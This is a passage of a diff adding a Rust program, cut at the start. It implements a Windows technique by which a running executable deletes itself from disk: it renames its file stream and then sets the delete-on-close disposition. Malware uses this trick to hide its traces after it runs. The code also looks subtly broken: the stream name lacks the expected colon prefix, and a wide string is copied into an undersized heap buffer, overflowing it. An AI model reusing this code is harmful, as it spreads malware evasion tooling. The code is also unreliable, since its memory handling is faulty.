winapi::um::errhandlingapi::GetLastError;+use winapi::um::fileapi::{CreateFileW, SetFileInformationByHandle, FILE_RENAME_INFO};+use winapi::um::handleapi::CloseHandle;+use winapi::um::heapapi::HeapFree;+use winapi::um::minwinbase::{FileDispositionInfo, FileRenameInfo};+use winapi::um::winnt::HEAP_ZERO_MEMORY;+use winapi::um::{fileapi::FILE_DISPOSITION_INFO, heapapi::{GetProcessHeap, HeapAlloc}};+use winapi::um::handleapi::INVALID_HANDLE_VALUE;++macro_rules! okey {+ ($msg:expr, $($arg:expr), *) => {+ println!("[+] {}",format!($msg, $($arg), *));+ }+}++macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("[!] {}",format!($msg, $($arg), *));+ println!("Exiting ...");+ std::process::exit(1);+ };+}++pub const NULL: *mut c_void = 0 as *mut c_void;++fn main(){+ let stream = "let del this nerdy !";+ let stream_wide: Vec<u16> = stream.encode_utf16().chain(std::iter::once(0)).collect();++ unsafe{+ let mut delete_file: FILE_DISPOSITION_INFO = std::mem::zeroed();+ delete_file.DeleteFile = true.into();++ let length = size_of::<FILE_RENAME_INFO>();++ let rename_info = HeapAlloc(+ GetProcessHeap(),+ HEAP_ZERO_MEMORY,+ length as usize+ ) as *mut FILE_RENAME_INFO;++ (*rename_info).FileNameLength = (stream_wide.len() * size_of::<u16>()) as u32 - 2;++ std::ptr::copy_nonoverlapping(+ stream_wide.as_ptr(),+ (*rename_info).FileName.as_mut_ptr(),+ stream_wide.len()+ );++ let path = current_exe().unwrap();+ let path_str = path.to_str().unwrap();++ let mut full_path: Vec<u16> = path_str.encode_utf16().collect();+ full_path.push(0);++ let h_file = CreateFileW(+ full_path.as_ptr(),+ 0x00010000 | 0x00100000,+ 0x00000001,+ null_mut(),+ 3 as u32,+ 0,+ null_mut(),+ );++ if h_file == INVALID_HANDLE_VALUE {+ error!("CreateFileW Error: {:?}",GetLastError());+ }++ okey!("CreateFileW Adr: {:?}",h_file);++ SetFileInformationByHandle(+ h_file,+ FileRenameInfo,+ rename_info as *mut _,+ length as u32,+ );++ CloseHandle(h_file);++ let h_file = CreateFileW(+ full_path.as_ptr(),+ 0x00010000 | 0x00100000,+ 0x00000001,+ null_mut(),+ 3 as u32,+ 0,+ null_mut(),+ );++ if h_file == INVALID_HANDLE_VALUE {+ error!("CreateFileW Error2: {}",GetLastError());+ }++ SetFileInformationByHandle(+ h_file,+ FileDispositionInfo,+ &delete_file as *const _ as *mut _,+ size_of_val(&delete_file) as u32,+ );++ CloseHandle(h_file);++ HeapFree(+ GetProcessHeap(),+ 0,+ rename_info as *mut c_void,+ );+ }+}+